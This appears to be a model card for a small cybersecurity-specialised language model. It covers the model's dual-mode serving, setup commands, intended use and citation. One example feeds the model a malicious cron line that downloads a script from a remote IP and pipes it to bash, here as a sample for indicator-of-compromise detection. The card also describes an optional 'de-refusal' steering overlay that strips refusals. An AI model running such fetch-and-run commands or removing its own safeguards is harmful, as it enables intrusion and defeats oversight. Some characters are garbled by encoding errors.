--- license: apache-2.0 language: - en base_model: - Qwen/Qwen3.5-4B pipeline_tag: text-generation library_name: transformers tags: - cybersecurity - security - dual-system - decision-head - agent - ct0 - system-1 - system-2 ---
**21.1 %** on the agentic `cybench-subtask` benchmark โ **2.8ร its own base**, and above every open model of comparable footprint.
CID = Cybench-Subtask score รท logโโ(1 + Nยท10โน). A plain per-parameter ratio would reward only the tiniest models; the log form reads how much security capability each order of magnitude of parameters buys.
โฆโฆ โฆ`) pose a security question over options, no vocabulary change. 2. **Specialised weights** โ the backbone, taught security by two-phase on-policy distillation on the CAI dataset. 3. **Decision adapter** โ a rank-16 LoRA fused into those weights, so one weight set serves both modes. 4. **Bilinear pointer head** โ 1.3 M parameters; reads the hidden states at the markers and returns one calibrated probability per option during prefill, decoding nothing. 5. **Escalation gate** โ a threshold on the System-1 probability routes only uncertain cases to System 2. 6. **Native dual-mode serving** โ one process, two endpoints, sharing the attention KV and recurrent-state prefix caches. Two optional, reversible **steering overlays** (off by default) complete the design: a runtime refusal-direction projection for authorised de-refusal, and an activation-steering direction. Both are described in the paper (ยง *Refusal Detection and Dynamic De-Refusal*). --- ## ๐ Quickstart The weights serve **System 2** on any standard stack (`transformers`, `vllm`, `sglang`) with `trust_remote_code`. The native **System 1** endpoint (`/v1/systemone`) uses the CSI SGLang fork with `--systemone-head` โ available from Alias Robotics. ```bash # the model โ weights, pointer head and tokenizer โ is this repo pip install -U "huggingface_hub[cli]" hf download aliasrobotics/alias3-micro-1026 --local-dir alias3-micro-1026 && cd alias3-micro-1026 ``` ```bash # serve both modes from one process (reference: 1ร GPU โฅ 20 GB) python3 -m sglang.launch_server --model-path . --served-model-name ct0 \ --host 0.0.0.0 --port 30000 --dtype bfloat16 --trust-remote-code \ --tool-call-parser qwen3_coder --reasoning-parser qwen3 \ --chunked-prefill-size 2048 --systemone-head ./head.pt ``` ```bash # System 1 โ one typed decision, one prefill, zero tokens decoded curl -s localhost:30000/v1/systemone -H 'Content-Type: application/json' -d '{ "model": "ct0", "state": "path: /etc/cron.d/backup\ncontent: */5 * * * * root curl http://198.51.100.7/x.sh | bash", "questions": {"ioc": {"type": "noul", "instructions": "Is this file a suspicious indicator of compromise on this system?"}}}' # -> {"answers": {"ioc": {"type": "noul", "noul": 0.91}}} # System 2 โ ordinary chat / native tool calls curl -s localhost:30000/v1/chat/completions -H 'Content-Type: application/json' -d '{ "model": "ct0", "messages": [{"role": "user", "content": "Audit this crontab for persistence."}], "chat_template_kwargs": {"enable_thinking": false}}' ``` Question types: `noul` (yes/no probability), `choice` (one per option with a `criteria` map), `score` (ordinal 1..K). Choice confidence is `(p_max โ 1/K)/(1 โ 1/K)`. The head temperature is fitted out-of-distribution โ **do not re-fit on your own labels.** --- ## ๐ฏ Intended use & limitations **Intended for** authorised defensive and offensive security work by practitioners: triage and detection (refusals, jailbreaks, IOCs, risky tool calls), finding prioritisation, secure-code review, and agentic CTF-style tasks โ run locally, privately, under the operator's control. This release is one stage of an ongoing research line, and it exists to be used and stress-tested. In turn, we draw on community feedback and usage data to understand how the model performs in practice and guide the next stage of our research. **Limitations.** System-1 thresholds are calibrated on fixtures and must be revalidated on your deployment distribution. Detector metrics are not attack-success rates and do not test adaptive attackers. Several evaluation corpora are small or constructed; none is a live engagement. Specialisation does not confer prompt-injection resistance. See the paper's discussion for the full accounting of what the evidence does and does not support. **Safety.** This is a dual-use security tool. Use only on systems and engagements you are authorised to assess. --- ## ๐ Citation > ๐ **[CT0: Cybersecurity Transformer โ arXiv:2610.16550](https://arxiv.org/abs/2610.16550)** ยท [PDF](https://arxiv.org/pdf/2610.16550) ยท Alias Robotics, 2026. ```bibtex @article{ct0_2026, title = {{CT0}: Cybersecurity Transformer}, author = {Mayoral-Vilches, V{\'i}ctor and {Alias Robotics}}, journal = {arXiv preprint arXiv:2610.16550}, year = {2026}, url = {https://arxiv.org/abs/2610.16550} } ``` --- Built by Alias Robotics ยท trained on the CAI dataset ยท served from one workstation GPU, no policy layer between operator and target.